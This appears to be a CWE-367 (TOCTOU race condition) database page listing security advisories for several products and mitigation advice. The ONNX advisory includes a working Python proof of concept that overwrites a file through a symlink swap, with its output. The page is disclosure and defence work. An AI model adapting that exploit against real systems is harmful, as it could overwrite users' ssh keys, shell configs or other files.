CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1219 vulnerabilities reference this CWE, most recent first.
GHSA-Q3WJ-MX7Q-RFV9
Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32Creative Cloud Desktop is affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48344"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T21:17:00Z",
"severity": "HIGH"
},
"details": "Creative Cloud Desktop is affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker\u0027s control. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-q3wj-mx7q-rfv9",
"modified": "2026-07-14T21:32:24Z",
"published": "2026-07-14T21:32:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48344"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q548-VJQW-XRPX
Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause a race condition in the LoRA manager singleton initialization. A successful exploit of this vulnerability might lead to denial of service and data tampering.
{
"affected": [],
"aliases": [
"CVE-2026-47621"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T18:16:51Z",
"severity": "MODERATE"
},
"details": "NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause a race condition in the LoRA manager singleton initialization. A successful exploit of this vulnerability might lead to denial of service and data tampering.",
"id": "GHSA-q548-vjqw-xrpx",
"modified": "2026-08-04T18:31:30Z",
"published": "2026-08-04T18:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47621"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5842"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47621"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q56X-G2FJ-4RJ6
Vulnerability from github – Published: 2026-04-01 23:40 – Updated: 2026-06-08 20:15Summary
The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.
Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.
The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188
Details
Toctou
The vulnerable code pattern:
# CHECK - Is this a file?
if not os.path.isfile(external_data_file_path):
# Line 228-229: USE #1 - Create if it doesn't exist
with open(external_data_file_path, "ab"):
pass
# Open for writing
with open(external_data_file_path, "r+b") as data_file:
# Lines 233-243: Write tensor data
data_file.seek(0, 2)
if info.offset is not None:
file_size = data_file.tell()
if info.offset > file_size:
data_file.write(b"\0" * (info.offset - file_size))
data_file.seek(info.offset)
offset = data_file.tell()
data_file.write(tensor.raw_data)
There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.
Bypass
There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like C:\ (only 1 part):
if location_path.is_absolute() and len(location_path.parts) > 1
This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).
PoC
Install the dependencies and run this:
import os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array
# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
print(f"[*] Working directory: {tmpdir}")
# Create a "sensitive" file that we'll overwrite
sensitive_file = os.path.join(tmpdir, "sensitive.txt")
with open(sensitive_file, 'w') as f:
f.write("SENSITIVE DATA - DO NOT OVERWRITE")
original_content = open(sensitive_file, 'rb').read()
print(f"[*] Created sensitive file: {sensitive_file}")
print(f" Original content: {original_content}")
# Create a simple ONNX model with a large tensor
print("[*] Creating ONNX model with external data...")
# Create a tensor with data > 1KB (to trigger external data)
large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor
large_tensor = from_array(large_array, name='large_weight')
# Create a minimal model
model = helper.make_model(
helper.make_graph(
[helper.make_node('Identity', ['input'], ['output'])],
'minimal_model',
[helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
[helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
[large_tensor]
)
)
# Save model with external data to create the external data file
model_path = os.path.join(tmpdir, "model.onnx")
external_data_name = "data.bin"
external_data_path = os.path.join(tmpdir, external_data_name)
onnx.save_model(
model,
model_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=external_data_name,
size_threshold=1024
)
print(f"[+] Model saved: {model_path}")
print(f"[+] External data created: {external_data_path}")
# Now comes the attack: replace the external data file with a symlink
print("[!] ATTACK: Replacing external data file with symlink...")
# Remove the legitimate external data file
if os.path.exists(external_data_path):
os.remove(external_data_path)
print(f" Removed: {external_data_path}")
# Create symlink pointing to sensitive file
os.symlink(sensitive_file, external_data_path)
print(f" Created symlink: {external_data_path} -> {sensitive_file}")
# Now load and re-save the model, which will trigger the vulnerability
print("Loading model and saving with external data...")
try:
# Load the model (without loading external data)
loaded_model = onnx.load(model_path, load_external_data=False)
# Modify the model slightly (to ensure we write new data)
loaded_model.graph.initializer[0].raw_data = large_array.tobytes()
# Save again - this will call save_external_data() and follow the symlink
onnx.save_model(
loaded_model,
model_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=external_data_name,
size_threshold=1024
)
except Exception as e:
print(f"[-] Error: {e}")
# Check if the sensitive file was overwritten
print("[*] Checking if sensitive file was modified...")
modified_content = open(sensitive_file, 'rb').read()
print(f" Original size: {len(original_content)} bytes")
print(f" Current size: {len(modified_content)} bytes")
print(f" Original content: {original_content[:50]}")
print(f" Current content: {modified_content[:50]}...")
print()
if modified_content != original_content:
print("[!] Success!")
else:
print("[-] Failure")
Output:
[*] Working directory: /tmp/tmpqy7z88_l
[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt
Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
[*] Creating ONNX model with external data...
[+] Model saved: /tmp/tmpqy7z88_l/model.onnx
[+] External data created: /tmp/tmpqy7z88_l/data.bin
[!] ATTACK: Replacing external data file with symlink...
Removed: /tmp/tmpqy7z88_l/data.bin
Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt
Loading model and saving with external data...
[*] Checking if sensitive file was modified...
Original size: 33 bytes
Current size: 40033 bytes
Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
Current content: b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...
Successfully overwritting the "sensitive data" file.
Impact
The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.
Mitigations
- Atomic file creation
- Symlink protection
- Path canonicalization
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.20.1"
},
"package": {
"ecosystem": "PyPI",
"name": "onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:40:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim\u0027s files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n # CHECK - Is this a file?\n if not os.path.isfile(external_data_file_path):\n # Line 228-229: USE #1 - Create if it doesn\u0027t exist\n with open(external_data_file_path, \"ab\"):\n pass\n \n # Open for writing\n with open(external_data_file_path, \"r+b\") as data_file:\n # Lines 233-243: Write tensor data\n data_file.seek(0, 2)\n if info.offset is not None:\n file_size = data_file.tell()\n if info.offset \u003e file_size:\n data_file.write(b\"\\0\" * (info.offset - file_size))\n data_file.seek(info.offset)\n offset = data_file.tell()\n data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) \u003e 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n print(f\"[*] Working directory: {tmpdir}\")\n\n # Create a \"sensitive\" file that we\u0027ll overwrite\n sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n with open(sensitive_file, \u0027w\u0027) as f:\n f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n original_content = open(sensitive_file, \u0027rb\u0027).read()\n print(f\"[*] Created sensitive file: {sensitive_file}\")\n print(f\" Original content: {original_content}\")\n\n # Create a simple ONNX model with a large tensor\n print(\"[*] Creating ONNX model with external data...\")\n\n # Create a tensor with data \u003e 1KB (to trigger external data)\n large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor\n large_tensor = from_array(large_array, name=\u0027large_weight\u0027)\n\n # Create a minimal model\n model = helper.make_model(\n helper.make_graph(\n [helper.make_node(\u0027Identity\u0027, [\u0027input\u0027], [\u0027output\u0027])],\n \u0027minimal_model\u0027,\n [helper.make_tensor_value_info(\u0027input\u0027, TensorProto.FLOAT, [100, 100])],\n [helper.make_tensor_value_info(\u0027output\u0027, TensorProto.FLOAT, [100, 100])],\n [large_tensor]\n )\n )\n\n # Save model with external data to create the external data file\n model_path = os.path.join(tmpdir, \"model.onnx\")\n external_data_name = \"data.bin\"\n external_data_path = os.path.join(tmpdir, external_data_name)\n\n onnx.save_model(\n model, \n model_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=external_data_name,\n size_threshold=1024\n )\n\n print(f\"[+] Model saved: {model_path}\")\n print(f\"[+] External data created: {external_data_path}\")\n\n # Now comes the attack: replace the external data file with a symlink\n print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n # Remove the legitimate external data file\n if os.path.exists(external_data_path):\n os.remove(external_data_path)\n print(f\" Removed: {external_data_path}\")\n\n # Create symlink pointing to sensitive file\n os.symlink(sensitive_file, external_data_path)\n print(f\" Created symlink: {external_data_path} -\u003e {sensitive_file}\")\n\n # Now load and re-save the model, which will trigger the vulnerability\n print(\"Loading model and saving with external data...\")\n try:\n # Load the model (without loading external data)\n loaded_model = onnx.load(model_path, load_external_data=False)\n\n # Modify the model slightly (to ensure we write new data)\n loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n # Save again - this will call save_external_data() and follow the symlink\n onnx.save_model(\n loaded_model,\n model_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=external_data_name,\n size_threshold=1024\n )\n except Exception as e:\n print(f\"[-] Error: {e}\")\n \n # Check if the sensitive file was overwritten\n print(\"[*] Checking if sensitive file was modified...\")\n modified_content = open(sensitive_file, \u0027rb\u0027).read()\n \n print(f\" Original size: {len(original_content)} bytes\")\n print(f\" Current size: {len(modified_content)} bytes\")\n print(f\" Original content: {original_content[:50]}\")\n print(f\" Current content: {modified_content[:50]}...\")\n print()\n \n if modified_content != original_content:\n print(\"[!] Success!\")\n else:\n print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n Removed: /tmp/tmpqy7z88_l/data.bin\n Created symlink: /tmp/tmpqy7z88_l/data.bin -\u003e /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n Original size: 33 bytes\n Current size: 40033 bytes\n Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n Current content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\u0027...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
"id": "GHSA-q56x-g2fj-4rj6",
"modified": "2026-06-08T20:15:31Z",
"published": "2026-04-01T23:40:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
},
{
"type": "PACKAGE",
"url": "https://github.com/onnx/onnx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat "
}
GHSA-Q5VW-GWWH-J8R7
Vulnerability from github – Published: 2024-12-16 15:31 – Updated: 2025-09-05 09:30Velocidex WinPmem versions below 4.1 suffer from an Improper Input Validation vulnerability whereby an attacker can directly communicate with the driver by accessing the \"\\.\pmem\" device. From that point, it is possible to communicate with the driver via regular device operations, starting with a system of IOCTLs. To send specific orders to the driver, one can use IRP_MJ_DEVICE_CONTROL control code. This issue is remediated in version 4.1.
{
"affected": [],
"aliases": [
"CVE-2024-10972"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-16T15:15:06Z",
"severity": "HIGH"
},
"details": "Velocidex WinPmem versions below 4.1 suffer from an Improper Input Validation vulnerability whereby an attacker can\u00a0directly communicate with the driver by accessing the \\\"\\\\\\\\.\\\\pmem\\\" device. From that point, it is possible to communicate with the driver via regular device operations, starting with a system of IOCTLs. To send specific orders to the driver, one can use IRP_MJ_DEVICE_CONTROL control code. This issue is remediated in version 4.1.",
"id": "GHSA-q5vw-gwwh-j8r7",
"modified": "2025-09-05T09:30:34Z",
"published": "2024-12-16T15:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10972"
},
{
"type": "WEB",
"url": "https://github.com/Velocidex/WinPmem/releases/tag/v4.1.dev1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q5W7-QMX3-4VXH
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-13 18:31Time-of-check time-of-use (toctou) race condition in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-20831"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:10Z",
"severity": "HIGH"
},
"details": "Time-of-check time-of-use (toctou) race condition in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-q5w7-qmx3-4vxh",
"modified": "2026-01-13T18:31:08Z",
"published": "2026-01-13T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20831"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20831"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q6M9-XJ2W-XMRC
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-30 17:30The touch utility in uutils coreutils is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition during file creation. When the utility identifies a missing path, it later attempts creation using File::create(), which internally uses O_TRUNC. An attacker can exploit this window to create a file or swap a symlink at the target path, causing touch to truncate an existing file and leading to permanent data loss.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "coreutils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35360"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:30:18Z",
"nvd_published_at": "2026-04-22T17:16:38Z",
"severity": "MODERATE"
},
"details": "The touch utility in uutils coreutils is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition during file creation. When the utility identifies a missing path, it later attempts creation using File::create(), which internally uses O_TRUNC. An attacker can exploit this window to create a file or swap a symlink at the target path, causing touch to truncate an existing file and leading to permanent data loss.",
"id": "GHSA-q6m9-xj2w-xmrc",
"modified": "2026-04-30T17:30:18Z",
"published": "2026-04-22T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35360"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/10019"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "uutils coreutils has a Time-of-check Time-of-use (TOCTOU) Race Condition"
}
GHSA-Q6QM-PXCX-GJ5H
Vulnerability from github – Published: 2022-01-22 00:00 – Updated: 2022-08-06 00:00A race condition was found in the Linux kernel's ebpf verifier between bpf_map_update_elem and bpf_map_freeze due to a missing lock in kernel/bpf/syscall.c. In this flaw, a local user with a special privilege (cap_sys_admin or cap_bpf) can modify the frozen mapped address space. This flaw affects kernel versions prior to 5.16 rc2.
{
"affected": [],
"aliases": [
"CVE-2021-4001"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-21T19:15:00Z",
"severity": "MODERATE"
},
"details": "A race condition was found in the Linux kernel\u0027s ebpf verifier between bpf_map_update_elem and bpf_map_freeze due to a missing lock in kernel/bpf/syscall.c. In this flaw, a local user with a special privilege (cap_sys_admin or cap_bpf) can modify the frozen mapped address space. This flaw affects kernel versions prior to 5.16 rc2.",
"id": "GHSA-q6qm-pxcx-gj5h",
"modified": "2022-08-06T00:00:53Z",
"published": "2022-01-22T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4001"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2025645"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=353050be4c19e102178ccc05988101887c25ae53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q86M-697P-H7FH
Vulnerability from github – Published: 2026-03-19 03:30 – Updated: 2026-03-19 16:24Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-q399-23r3-hfx4. This link is maintained to preserve external references.
Original Description
OpenClaw versions prior to 2026.3.1 fail to pin executable identity for non-path-like argv[0] tokens in system.run approvals, allowing post-approval executable rebind attacks. Attackers can modify PATH resolution after approval to execute a different binary than the operator approved, enabling arbitrary command execution.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.3.1"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T16:24:36Z",
"nvd_published_at": "2026-03-19T02:16:05Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-q399-23r3-hfx4. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.3.1 fail to pin executable identity for non-path-like argv[0] tokens in system.run approvals, allowing post-approval executable rebind attacks. Attackers can modify PATH resolution after approval to execute a different binary than the operator approved, enabling arbitrary command execution.",
"id": "GHSA-q86m-697p-h7fh",
"modified": "2026-03-19T16:24:36Z",
"published": "2026-03-19T03:30:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q399-23r3-hfx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31997"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-executable-rebind-via-unbound-path-token-in-system-run-approvals"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:A/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: system.run approvals did not bind PATH-token executable identity, enabling post-approval executable rebind",
"withdrawn": "2026-03-19T16:24:36Z"
}
GHSA-Q945-MJ3H-45F2
Vulnerability from github – Published: 2023-04-25 00:30 – Updated: 2024-01-19 18:30The specific flaw exists within the DPT I2O Controller driver. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the kernel.
{
"affected": [],
"aliases": [
"CVE-2023-2007"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-667"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-24T23:15:18Z",
"severity": "HIGH"
},
"details": "The specific flaw exists within the DPT I2O Controller driver. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the kernel.",
"id": "GHSA-q945-mj3h-45f2",
"modified": "2024-01-19T18:30:22Z",
"published": "2023-04-25T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2007"
},
{
"type": "WEB",
"url": "https://github.com/torvalds/linux/commit/b04e75a4a8a81887386a0d2dbf605a48e779d2a0"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00030.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240119-0011"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5480"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QCC4-P59M-P54M
Vulnerability from github – Published: 2026-03-12 14:21 – Updated: 2026-03-12 14:21Summary
A sandbox boundary-validation gap in symlink alias handling allowed certain workspace-only write paths to be treated as in-boundary even when they could resolve outside the workspace/sandbox root.
Affected Packages / Versions
- Package: npm
openclaw - Affected versions:
<= 2026.2.25 - Latest published npm version included in affected range:
2026.2.25(checked on February 26, 2026) - Patched version (pre-set for release):
2026.2.26
Technical Details
In affected versions, dangling symlink hops could be accepted during boundary checks under missing-target conditions. For workspace-only write flows (including apply_patch), this could allow writes to resolve outside the configured workspace/sandbox boundary.
The fix resolves symlink targets through existing ancestors and fails closed when canonical resolution escapes the configured boundary.
Impact
- Boundary-confined write operations could be redirected outside the configured workspace/sandbox root.
- Primary impact is integrity of host-side files reachable from that path resolution.
Fix Commit(s)
4fd29a35bb85a1898ebff518364c467058b50e14
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.26) so once npm 2026.2.26 is published, the advisory can be published without further field edits.
Thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.25"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:21:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA sandbox boundary-validation gap in symlink alias handling allowed certain workspace-only write paths to be treated as in-boundary even when they could resolve outside the workspace/sandbox root.\n\n### Affected Packages / Versions\n- Package: npm `openclaw`\n- Affected versions: `\u003c= 2026.2.25`\n- Latest published npm version included in affected range: `2026.2.25` (checked on February 26, 2026)\n- Patched version (pre-set for release): `2026.2.26`\n\n### Technical Details\nIn affected versions, dangling symlink hops could be accepted during boundary checks under missing-target conditions. For workspace-only write flows (including `apply_patch`), this could allow writes to resolve outside the configured workspace/sandbox boundary.\n\nThe fix resolves symlink targets through existing ancestors and fails closed when canonical resolution escapes the configured boundary.\n\n### Impact\n- Boundary-confined write operations could be redirected outside the configured workspace/sandbox root.\n- Primary impact is integrity of host-side files reachable from that path resolution.\n\n### Fix Commit(s)\n- `4fd29a35bb85a1898ebff518364c467058b50e14`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`) so once npm `2026.2.26` is published, the advisory can be published without further field edits.\n\nThanks @tdjackey for reporting.",
"id": "GHSA-qcc4-p59m-p54m",
"modified": "2026-03-12T14:21:54Z",
"published": "2026-03-12T14:21:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qcc4-p59m-p54m"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/4fd29a35bb85a1898ebff518364c467058b50e14"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw: Sandbox dangling-symlink alias handling could bypass workspace-only write boundary"
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
